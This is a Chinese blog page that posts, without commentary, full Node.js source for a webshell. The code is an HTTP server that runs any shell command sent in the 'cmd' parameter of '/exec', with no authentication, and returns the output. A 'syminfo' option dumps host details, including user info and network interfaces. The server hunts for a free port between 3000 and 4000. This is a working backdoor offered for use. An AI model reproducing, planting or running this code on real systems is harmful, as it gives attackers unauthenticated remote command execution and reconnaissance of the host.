首页 > 系统相关 >nodejs webshell

nodejs webshell

时间:2024-04-30 17:12:15浏览次数:28  
标签:webshell const nodejs res command error end os

const http = require('node:http');
const url = require('node:url');
const os = require('node:os');
const { exec } = require('node:child_process');

// 获取系统信息
function getSymInfo() {
  return {
    arch: os.arch(),
    cpus: os.cpus(),
    endianness: os.endianness(),
    freemem: os.freemem(),
    homedir: os.homedir(),
    hostname: os.hostname(),
    loadavg: os.loadavg(),
    networkInterfaces: os.networkInterfaces(),
    platform: os.platform(),
    release: os.release(),
    tmpdir: os.tmpdir(),
    totalmem: os.totalmem(),
    type: os.type(),
    uptime: os.uptime(),
    userInfo: os.userInfo(),
  };
}

function startServer(portStart, portEnd) {
  const server = http.createServer((req, res) => {
    const parsedUrl = url.parse(req.url, true);
    console.log(`Request path: ${parsedUrl.pathname}`);
    if (parsedUrl.pathname === '/exec') {
      const command = parsedUrl.query.cmd;
      if (command) {
        if(command.toLocaleLowerCase() === 'syminfo'){
          res.end(JSON.stringify(getSymInfo(), null, 2));
          return;
        }
        console.log(`Executing command: ${command}`);
        exec(command,{ maxBuffer: 1024 * 1024 * 10 }, (error, stdout, stderr) => {
          if (error) {
            res.end(`${error}`);
            return;
          }
          if (stderr) {
            res.end(`Stderr: ${stderr}`);
            return;
          }
          res.end(`Output: ${stdout}`);
        });
      } else {
        res.end('cmd is null.');
      }
    } else {
      res.end('');
    }
  });

  server.on('error', (error) => {
    if (error.code === 'EADDRINUSE') {
      console.log(`Port ${portStart} is in use, trying the next one...`);
      portStart++;
      if (portStart <= portEnd) {
        server.listen(portStart);
      } else {
        console.log(`All ports in the range ${portStart}-${portEnd} are in use.`);
      }
    } else {
      throw error;
    }
  });

  server.listen(portStart);
}
startServer(3000,4000);

 

标签:webshell,const,nodejs,res,command,error,end,os
From: https://www.cnblogs.com/dzqdzq/p/18168380

相关文章

  • Pod monitoring of Nodejs
    一、Nodejs添加接口1、nextjs用法安装包prom-client,在ping同一目录层级创建接口api/ssr/metrics比如首页https://mik.dev.platform.michaels.com/api/ssr/metricsdc项目https://mik.dev.platform.michaels.com/api/ssr/dc/metrics import{register,collectDefaultMetri......
  • 应急响应-webshell查杀
    简介靶机账号密码rootxjwebshell1.黑客webshell里面的flagflag{xxxxx-xxxx-xxxx-xxxx-xxxx}2.黑客使用的什么工具的shellgithub地址的md5flag{md5}3.黑客隐藏shell的完整路径的md5flag{md5}注:/xxx/xxx/xxx/xxx/xxx.xxx4.黑客免杀马完整路径md5flag步骤#1.1......
  • Nodejs中npm i 与npm ci的区别
    npmci与npmi主要有以下的区别:1.依赖的package不同#npmi依赖package.json#npmci依赖package-lock.json当package-lock.json中的依赖于package.json不一致时,npmci退出但不会修改package-lock.json。2.安装特点差异'''npmci只可以一次性的安装整个项目依赖,但无......
  • NodeJS命令行注入:示例及预防
    在本文中,我们将学习如何在NodeJS中使用命令行函数进行注入漏洞攻击。现代网站可以是一个复杂的软件,它由许多分布在不同环境中的部分组成。如果你的应用程序没有得到有效的保护,那么分布在这些环境中的每一个组成部分都有可能受到命令行注入漏洞的攻击。本文将介绍如......
  • 使用nssm在windows服务器上部署nodejs
    在Linux上,可以轻松的使用forever或者pm2来部署nodejs应用。但是在windows下就麻烦了,pm2明确的说支持Linux&MacOS,forever在windows下貌似问题多多:  另外还有一个选择就是iisnode,这个有空研究一下,今天先说下比较简单的nssm。nssm会监控你安装的node服务,如果node挂了,nssm会......
  • WebShell管理工具的流量特征-哥斯拉 v4.01
    一、哥斯拉v4.01PHP_EVAL_XOR_BASE64:1.WebShell连接通讯流量分析本次案例以哥斯拉v4.01连接PHP_EVAL_XOR_BASE64-WebShell木马的通讯过程为例哥斯拉v4.01主界面如下:有效载荷支持:Asp、Java、CS、Php默认加密方式有:PHP_EVAL_XOR_BASE64、PHP_XOR_BASE64、PHP_XOR_RAW我们......
  • graalvmjs 24.0.1 nodejs 镜像
    graalvmjs已经支持jdk22了,基于官方提供的更新了新版本的docker镜像,方便使用DockerfileFROMdebian:bullseye-backportsLABELauthor="rongfengliang"LABELemail="[email protected]"WORKDIR/opt/RUN/bin/cp/usr/share/zoneinfo/Asia/Shanghai/etc......
  • 关于Nodejs入坑!!!
    关于Nodejs入门什么是nodejs?一个开源与跨平台的JavaScript运行时环境;可以理解为Node.js就是一个服务器端的、非阻塞式I/O的、事件驱动的JavaScript运行环境Node作为一个新兴的前端框架,后台语言,有很多吸引人的地方:RESTfulAPI,单线程。https://www.ruanyifeng.com特点:1......
  • ubuntu系统上安装nodejs
    linux上python运行execjs函数,需要js环境,需要安装nodejs和npm sudoapt-getupdatecurl-sLhttps://deb.nodesource.com/setup_18.x|sudo-Ebashapt-getinstallnodejs-y报错 dpkg-deb:error:pastesubprocesswaskilledbysignal(Brokenpipe)  E:Sub-proces......
  • nodejs + ts + nodemon + webpack 代码热更新
    依赖:npminodemonwebpackwebpack-clits-loadertypescript//webpack.config.jsimport{defaultaswebpack}from"webpack";importnodeExternalsfrom"webpack-node-externals";constplugins=[newCleanWebpackPlugin({dangero......